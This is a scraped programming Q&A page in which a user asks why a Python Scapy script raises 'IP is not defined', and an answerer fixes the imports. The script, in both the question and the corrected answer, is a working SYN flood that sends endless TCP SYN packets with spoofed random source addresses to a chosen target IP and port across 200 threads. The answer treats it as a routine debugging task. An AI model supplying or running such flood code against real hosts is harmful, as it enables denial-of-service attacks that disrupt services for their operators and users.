Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Scapy in Python script

Tags:

python

scapy

I'm writing a script in Python which use Scapy but my problem is that the exception is:

i = IP()

NameError: global name 'IP' is not defined

This is my script:

import random
from scapy import *
import threading
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = raw_input("-->")

class sendSYN(threading.Thread):
    global ip, port

    def __init__(self):
        threading.Thread.__init__(self)

    def run(self):
        # Method -
        i = IP()
        i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
        i.dst = ip

        t = TCP()
        t.sport = random.randint(1, 65535)
        t.dport = port
        t.flags = 'S'

        send(i/t, verbose=0)

count = 0
while True:
    if threading.activeCount() < 200:
        sendSYN().start()
        count += 1
        if count % 100 == 0:
            print ("\rPackets SYN\t:\t\t\t%i" % count)

What should I do to fix it?

like image 816
Ron Halfon Avatar asked Sep 26 '22 21:09

Ron Halfon


1 Answers

import IP/TCP

You can import all the layers scapy provides directly from the scapy.layers.* subpackage. This is fine as long as you do not require any other functionality like send/sendp/sniff/... or you require some pretty magical layers like ASN.1 that fail and raise an exception if some global initialization that is usually set with importing scapy.all is missing.

The specific import for IP() and TCP() (check your scapy/layers/inet.py)

from scapy.layers.inet import IP, TCP

would be enough as long as you'd only use them for de-/serialization (e.g. assembling/disassembling packets) but since you also require send() you have to import scapy.all like Semih Yagcioglu suggested. Please note that according to the scapy manual the import line changed from from scapy import * (scapy v1.x) to from scapy.all import * (since scapy v2.x) therefore the following should be fine for you:

from scapy.all import send, IP, TCP

Notice that importing scapy.all is pretty slow as it wildcard imports all the subpackages and does some initialization magic. That said, you should try to avoid unnecessary wildcard imports (coding style; even though there is not much difference in case of scapy)

from scapy.all import *

python 2.7

scapy v2.3.1 is compatible with python 2.7 on linux. However it is not that trivial to have it fully functional on windows, see problems with scapy on windows, especially with sending packets over phys wifi nics. Typically windows people run python2.6 with scapy 2.3.1 (note that there might be permission issues when scapy tries to get raw socket access on certain windows versions). To spare you some headaches I strongly recommend to run it on linux (vbox is fine).

working example of your code

The following code is working fine for me on linux, py2.7 scapy 2.3.1:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import threading
import random
from scapy.all import IP, TCP, RandIP, send, conf, get_if_list
logging.basicConfig(level=logging.DEBUG, format='%(asctime)-15s [%(threadName)s] %(message)s')

class sendSYN(threading.Thread):
    def __init__(self, target):
        threading.Thread.__init__(self)
        self.ip, self.port = target

    def run(self):
        pkt = IP(src=RandIP(),
                 dst=self.ip)/TCP(flags='S',
                                    dport=self.port,
                                    sport=random.randint(0,65535))

        send(pkt)
        logging.debug("sent: %s"%pkt.sprintf("{IP:%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%}"))

if __name__=='__main__':
    conf.verb = 0       # suppress output
    print ("Which Interface would you like to choose? %r"%get_if_list())
    iface = raw_input("[%s] --> "%get_if_list()[0]) or get_if_list()[0]
    if iface not in get_if_list(): raise Exception("Interface %r not available"%iface)
    conf.iface = iface
    print ("Which IP would you like to choose?")
    ip = raw_input("-->")
    print ("Which Port would you like to choose?")
    port = int(raw_input("-->"))

    count = 0
    while True:
        if threading.activeCount() < 200:
            sendSYN((ip, port)).start()
            count += 1
            if count % 100 == 0:
                logging.info ("\rPackets SYN\t:\t\t\t%i" % count)
  • fixed import
  • uses logging instead of print
  • passes target to class instance instead of using globals
  • added interface selection (must have for windows as scapy uses linux style interface names for both linux and windows which is why you may have to guess the correct one for windows)
  • globally sets scapy verbosity
  • uses RandIP() Field instead of manually building a random IP
  • TCP.sport/dport expects an integer therefore you have to parseInt the value read from stdin.
  • prints sent packets IP/port using snprintf()
like image 83
tintin Avatar answered Sep 30 '22 07:09

tintin